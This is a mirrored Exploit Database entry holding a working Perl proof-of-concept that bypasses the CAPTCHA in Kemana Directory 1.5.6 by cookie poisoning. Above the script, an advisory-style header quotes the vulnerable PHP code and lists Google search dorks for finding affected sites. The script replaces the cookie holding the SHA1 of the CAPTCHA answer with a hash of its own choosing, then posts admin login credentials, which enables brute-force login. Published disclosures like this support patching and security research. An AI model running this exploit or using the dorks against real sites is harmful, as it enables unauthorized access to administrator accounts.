Kemana Directory 1.5.6 – ‘qvc_init()’ Cookie Poisoning CAPTCHA Bypass

• Exploit Database
• 13 阅读

• 作者： LiquidWorm
  日期： 2014-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/32510/

• #!C:\Perl64\bin\perl.exe
  #
  # Kemana Directory 1.5.6 (qvc_init()) Cookie Poisoning CAPTCHA Bypass Exploit
  #
  #
  # Vendor: C97net
  # Product web page: http://www.c97.net
  # Affected version: 1.5.6
  #
  # Summary: Experience the ultimate directory script solution with Kemana.
  # Create your own Yahoo or Dmoz easily with Kemana. Unique Kemana's features
  # including: CMS engine based on our qEngine, multiple directories support,
  # user friendly administration control panel, easy to use custom fields,
  # unsurpassed flexibility.
  #
  # Desc: The CAPTCHA function for Kemana Directory is prone to a security
  # bypass vulnerability that occurs in the CAPTCHA authentication routine.
  # The function 'qvc_init()' in '/includes/function.php' sets a cookie with
  # a SHA1-based hash value in the Response Header which can be replaced by
  # a random SHA1 computed hash value using Cookie Poisoning attack. Successful
  # exploit will allow attackers to bypass the CAPTCHA-based authentication
  # challenge and perform brute-force attacks.
  #
  #
  # =============================================================================
  # /includes/function.php:
  # -----------------------
  #
  # 1774: /*------- ( QVC - VISUAL CONFIRMATION FUNCTIONS aka CAPTCHA ) ------- */
  # 1775:
  # 1776:
  # 1777: // qVC - the simplest visual confirmation engine yet
  # 1778: // use qvc_init() --> <img src="https://www.exploit-db.com/exploits/32510/visual.php"> --> compare qvc_value() == sha1 (strtolower($user_input) )?
  # 1779: // qVC uses db to communicate with visual.php, then set user cookie using sha1, then db not used!
  # 1780: // $num = either 3 or 5, 3 => only 0-9, 5 => 0-F
  # 1781: function qvc_init ($num = 5)
  # 1782: {
  # 1783: 	if ($num == 3)
  # 1784: 		$value = mt_rand (100, 999);
  # 1785: 	else
  # 1786: 		$value = random_str (5);
  # 1787: 	ip_config_update ('visual', $value);
  # 1788: 	setcookie ('qvc_value', sha1 ($value), 0, '/');
  # 1789: }
  # 1790: 
  # 1791: 
  # 1792: // return qvc value (it's sha1'd, so be sure to compare with sha1'd value)
  # 1793: function qvc_value ()
  # 1794: {
  # 1795: 	$correct_val = cookie_param ('qvc_value');
  # 1796: 
  # 1797: 	// block browser BACK
  # 1798: 	qvc_init ();
  # 1799: 	return $correct_val;
  # 1800: }
  # =============================================================================
  #
  #
  # Tested on: Microsoft Windows 7 Professional SP1 (EN)
  #Apache/2.4.7 (Win32)
  #PHP/5.5.6
  #MySQL 5.6.14
  #
  #
  # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  # @zeroscience
  #
  #
  # Advisory ID: ZSL-2014-5175
  # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5175.php
  #
  #
  # Dork #1: intitle:powered by c97.net
  # Dork #2: intitle:powered by qEngine
  # Dork #3: intitle:powered by Kemana.c97.net
  # Dork #4: intitle:powered by Cart2.c97.net
  #
  #
  # 08.03.2014
  #
  
  
  use LWP::UserAgent;use HTTP::Cookies;use HTTP::Request::Common;use Digest::SHA;info();#2014-03
  $url="http://localhost/kemana/admin/login.php";$domain="localhost.local";$juzer="admin";$pass=
  "admin";$cookie_jar=HTTP::Cookies->new();$ua=LWP::UserAgent->new;$ua->cookie_jar($cookie_jar);
  print" [*] Sending request.\n";sleep(1);$request=GET $url;$response=$ua->request($request);#$_
  print" [*] Reading cookie from Response Headers.\n";$cookie_jar->extract_cookies($response);#1
  print" [*] ".$cookie_jar->as_string();sleep(1);$kuki=$cookie_jar->as_string;($regexp)=$kuki#].
  =~/qvc_value=(.*?);/;print" [*] Got CAPTCHA: ".$regexp."\n";$sha=Digest::SHA->new();$data=#(";
  "joxypoxy";$sha->add($data);$digest=$sha->hexdigest;print" [*] Poisoning with: ".$digest."\n";
  $cookie_jar->set_cookie(0,'qvc_value',$digest,'/',$domain);print" [*] ".$cookie_jar->as_string
  ;sleep(1);print" [*] Sending login credentials.\n";$postche=$ua->request(POST $url,[user_id=>$
  juzer,user_passwd=>$pass,visual=>$data]);print"\n";$check=$postche->as_string;if($check=~#get;
  "HTTP/1.1 302 Found"){print" [*] CAPTCHA bypassed!\n";}else{print" [!] Didn\'t work.\n";}sub#\
  info(){print"
   +-----------------------------------------------------+
   | |
   | Kemana Directory CAPTCHA Bypass PoC Exploit |
   | |
   |ID: ZSL-2014-5175|
   | |
   +-----------------------------------------------------+
   \n\n";}